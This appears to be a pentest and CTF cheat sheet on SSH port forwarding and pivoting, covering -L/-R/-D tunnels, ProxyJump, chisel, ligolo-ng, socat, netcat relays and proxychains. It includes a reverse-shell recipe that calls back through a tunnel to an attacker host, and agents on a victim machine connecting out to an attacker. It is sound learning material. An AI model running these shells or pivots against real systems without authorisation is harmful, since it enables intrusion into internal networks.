ssh::tunneling

pentest SSH port forwarding
Local ForwardRemote Forward Dynamic / SOCKSSSH tips chiselsocat netcat relayproxychains
01Local Port Forwarding (-L)
Syntax & use case
localhost:8080 ──SSH──▶ jumpbox ──▶ internal:80
# Syntax: -L [bind:]local_port:remote_host:remote_port
ssh -L 8080:target:80 user@jumpbox

# Access internal service through jump host
ssh -L 8080:192.168.1.10:80 user@public-server
# → curl http://localhost:8080 → hits 192.168.1.10:80

# Bind to all interfaces (share with team)
ssh -L 0.0.0.0:8080:192.168.1.10:80 user@server

# Multiple forwards in one connection
ssh -L 8080:internal:80 -L 3306:db:3306 user@jump

# No shell — tunnel only (-N) + background (-f)
ssh -fNL 8080:internal:80 user@jump

# CTF use case: expose CTF challenge internal service
ssh -L 4444:localhost:4444 ctf@challenge-host
Common CTF patterns
# Reach internal web service
ssh -L 8080:127.0.0.1:80 user@target
curl http://localhost:8080/flag

# Reach internal database
ssh -L 5432:db-host:5432 user@jump
psql -h localhost -p 5432 -U ctf

# Forward a pwn challenge port
ssh -L 1337:localhost:1337 ctf@server
nc localhost 1337
# or: python solve.py (connects to localhost:1337)

# Keep alive options
ssh -o ServerAliveInterval=60 \
    -o ServerAliveCountMax=3 \
    -fNL 8080:internal:80 user@jump
02Remote Port Forwarding (-R)
Syntax & use case
attacker ◀──SSH── victim ──▶ attacker:4444
# Syntax: -R [bind:]remote_port:local_host:local_port
ssh -R 4444:localhost:4444 user@attacker

# Victim machine tunnels attacker's port back
# Attacker listens on 4444 ← victim connects

# Expose local service to remote server
ssh -R 8080:localhost:80 user@vps
# → anyone on vps can reach http://vps:8080 → your local:80

# Reverse shell: target machine calls back
# On target: ssh -R 9001:localhost:9001 user@attacker
# On attacker: nc -lvnp 9001
# On target: bash -i >& /dev/tcp/localhost/9001 0>&1

# Allow remote side to bind non-loopback (sshd config)
# GatewayPorts yes  ← in /etc/ssh/sshd_config
03Dynamic Forwarding / SOCKS (-D)
SOCKS proxy
# Create SOCKS5 proxy through jump host
ssh -D 1080 user@jumpbox
ssh -fND 1080 user@jumpbox   # background, no shell

# All traffic routed through jump host
# Configure browser/tool to use SOCKS5 at 127.0.0.1:1080

# curl through SOCKS5
curl --socks5 127.0.0.1:1080 http://internal-host/flag

# wget through SOCKS5
export http_proxy=socks5://127.0.0.1:1080
wget http://internal-host/flag

# Use with proxychains (see below)
# proxychains nmap, proxychains curl, etc.
Multi-hop tunneling
# Jump through multiple hosts (-J ProxyJump)
ssh -J user@jump1 user@internal-host

# Two hops
ssh -J user@jump1,user@jump2 user@target

# Local forward through 2 jumps
ssh -J user@jump1 -L 8080:internal:80 user@jump2

# ~/.ssh/config for convenience
Host internal
    HostName 192.168.1.100
    User ctf
    ProxyJump user@jumpbox
    LocalForward 8080 127.0.0.1:80

# Then just:
ssh internal            # auto-uses proxy
04SSH Tips
Useful flags
FlagEffect
-NNo shell (tunnel only)
-fBackground after auth
-v / -vv / -vvvVerbose (debug connection)
-i keyfileUse private key
-p portNon-default SSH port
-o StrictHostKeyChecking=noSkip host key check (CTF)
-o UserKnownHostsFile=/dev/nullDiscard host key
-qQuiet mode
-4 / -6Force IPv4 / IPv6
-TDisable pseudo-TTY
Manage live tunnels
# List SSH processes
ps aux | grep ssh

# Kill background tunnel
kill $(pgrep -f "ssh -fN")

# Check what's listening
ss -tlnp | grep 8080
netstat -tlnp | grep 8080

# SSH escape sequences (inside active SSH session)
~C          # open command line to add port forward live
~C -L 8080:internal:80   # add local forward mid-session
~.          # disconnect
~?          # list all escape sequences
05chisel — No SSH Available
chisel tunnel
# chisel: TCP tunnel over HTTP (when SSH blocked)
# https://github.com/jpillora/chisel

# Install
go install github.com/jpillora/chisel@latest
# or download binary from releases

# Server side (attacker/VPS)
chisel server --port 8080 --reverse

# Client side (victim / pivot host)
chisel client attacker:8080 R:9001:localhost:9001
# R: = reverse tunnel (victim exposes its port to attacker)

# Local forward (attacker → internal)
chisel client attacker:8080 5432:internal-db:5432

# SOCKS proxy via chisel
chisel server --port 8080 --reverse
chisel client attacker:8080 R:socks
# → SOCKS5 on attacker:1080
ligolo-ng (advanced pivot)
# ligolo-ng: transparent network pivoting
# https://github.com/nicocha30/ligolo-ng

# On attacker: start proxy
sudo ip tuntap add user $USER mode tun ligolo
sudo ip link set ligolo up
./proxy -selfcert

# On victim: connect agent
./agent -connect attacker:11601 -ignore-cert

# In ligolo proxy shell:
session         # select session
start           # start tunnel
# Then add route on attacker:
sudo ip route add 192.168.1.0/24 dev ligolo

# Now directly access internal network!
curl http://192.168.1.10/flag
06socat & netcat relays
socat port relay
# socat: relay traffic between ports

# Forward local port to remote host:port
socat TCP-LISTEN:8080,fork TCP:internal:80

# With TCP4 (IPv4 explicit)
socat TCP4-LISTEN:8080,fork,reuseaddr TCP4:internal:80

# UDP relay
socat UDP-LISTEN:5353,fork UDP:dns-server:53

# Relay with file logging
socat -v TCP-LISTEN:8080,fork TCP:internal:80

# Chain: local → socat → SSH → target
socat TCP-LISTEN:8080,fork \
  EXEC:"ssh -W internal:80 user@jump"
netcat relay
# Simple nc relay (Linux with named pipe)
mkfifo /tmp/relay
nc -lvnp 8080 < /tmp/relay | nc internal 80 > /tmp/relay

# Simpler with ncat (supports --sh-exec)
ncat -lvnp 8080 --sh-exec "ncat internal 80"

# Relay for pwn challenge
# If challenge is localhost:1337 on a remote box:
ssh user@remote -L 1337:localhost:1337
# Then: python3 solve.py → connects to localhost:1337

# ncat SSL relay
ncat --ssl -lvnp 443 --sh-exec "ncat internal 80"
07proxychains
proxychains setup & use
# /etc/proxychains4.conf (or ~/.proxychains/proxychains.conf)
strict_chain
proxy_dns
tcp_read_time_out 15000
tcp_connect_time_out 8000
[ProxyList]
socks5 127.0.0.1 1080    # SSH dynamic forward

# Run any tool through the proxy
proxychains curl http://internal-host/flag
proxychains nmap -sT -Pn 192.168.1.0/24     # TCP scan only
proxychains psql -h 192.168.1.5 -U postgres
proxychains python3 solve.py
proxychains ssh user@internal-host

# Quiet mode (no output noise)
proxychains -q curl http://internal/flag

# Dynamic chain (try each proxy, skip dead ones)
# Change strict_chain → dynamic_chain in config

# Multiple proxies (chained)
socks5 127.0.0.1 1080    # SSH -D tunnel
socks5 127.0.0.1 1081    # second hop
TUNNELING QUICK REF →  -L local:remote reach internal via jump  · -R remote:local expose local to remote  · -D 1080 SOCKS proxy through jump  · -J jump1,jump2 multi-hop  · -fN background tunnel only  · chisel when SSH blocked  · socat TCP-LISTEN:X,fork TCP:host:Y relay  · proxychains curl route tools through SOCKS